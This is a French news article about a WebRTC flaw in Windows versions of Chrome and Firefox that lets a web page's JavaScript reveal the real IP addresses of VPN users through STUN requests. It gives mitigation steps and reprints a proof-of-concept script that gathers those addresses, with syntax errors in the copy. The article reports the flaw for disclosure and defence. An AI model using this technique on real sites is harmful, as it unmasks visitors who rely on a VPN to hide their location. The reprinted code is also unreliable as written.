Ajouter un commentaire

Une faille de WebRTC dévoile les adresses IP que vous pensiez masquer en utilisant un VPN

Par:
fredericmazue

mer, 04/02/2015 - 17:47

Cette faille est décrite sur le blog de torguard.net, une société qui propose des services de VPN justement. Les VPN, pour Virtual Private NetVork sont souvent utilisés comme passerelle vers Internet, par ceux qui désirent masquer leur adresse IP et conserver un certain anonymat.

Dans ce cas, lorsqu'ils surfent, c'est l'adresse IP du proxy utilisé qui est visible sur Internet, non celle de leurs machines propres. Un serveur de site, par exemple, ne peut donc pas connaître l'IP réelle.

Ceci quand tout va bien... :-)

Seulement voilà, une faille dans le protocole WebRTC, implémenté par les navigateurs Firefox et Chrome, permet de révéler l'IP réelle d'un internaute utilisant un VPN. Des requêtes émises via ce protocole vers des serveurs STUN retournent à la fois l'IP locale et l'P publique, et ces données sont lisibles avec JavaScript. Un internaute peut donc être attaqué par un simple bout de code JavaScript présent dans une page visitée.        

Seules les versions Windows de Chrome et Firefox sont touchées par la vulnérabilité.

Le billet de blog susmentionné donne un lien vers un plugin permettant de combler la vulnérabilité dans Chrome. Les utilisateurs de Firefox doivent saisir about:config dans leur barre d'URL pour accéder à la configuration de leur navigateur, après quoi, ils doivent positionner media.peerconnection.enabled à flase pour combler la faille.

Un morceau de code JavaScript téléchargeable sur GitHub https://github.com/diafygi/webrtc-ips démontre la vulnérabilité :

//get the IP addresses associated with an account

function getIPs(callback){

    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;

    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };

    // firefox already has a default stun server in about:config
   //    media.peerconnection.default_iceservers =
   //    [{"url": "stun:stun.services.mozilla.com"}]

    var servers = undefined;

    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    //listen for candidate events
    pc.onicecandidate = function(ice); 

        //skip non-candidate events

        if(ice.candidate){
            //match just the IP address
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 

            //remove duplicates
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);

            ip_dups[ip_addr] = true;
        }
    }; 

    //create a bogus data channel
    pc.createDataChannel(""); 

    //create an offer sdp
    pc.createOffer(function(result){ 
        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});
    }, function(){});

//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

Filtered HTML

Plain text

CAPTCHA
Cette question permet de vérifier que vous n'êtes pas un robot spammeur :-)
 PPPP   K  K  III  V     V  U   U 
P P K K I V V U U
PPPP KK I V V U U
P K K I V V U U
P K K III V UUU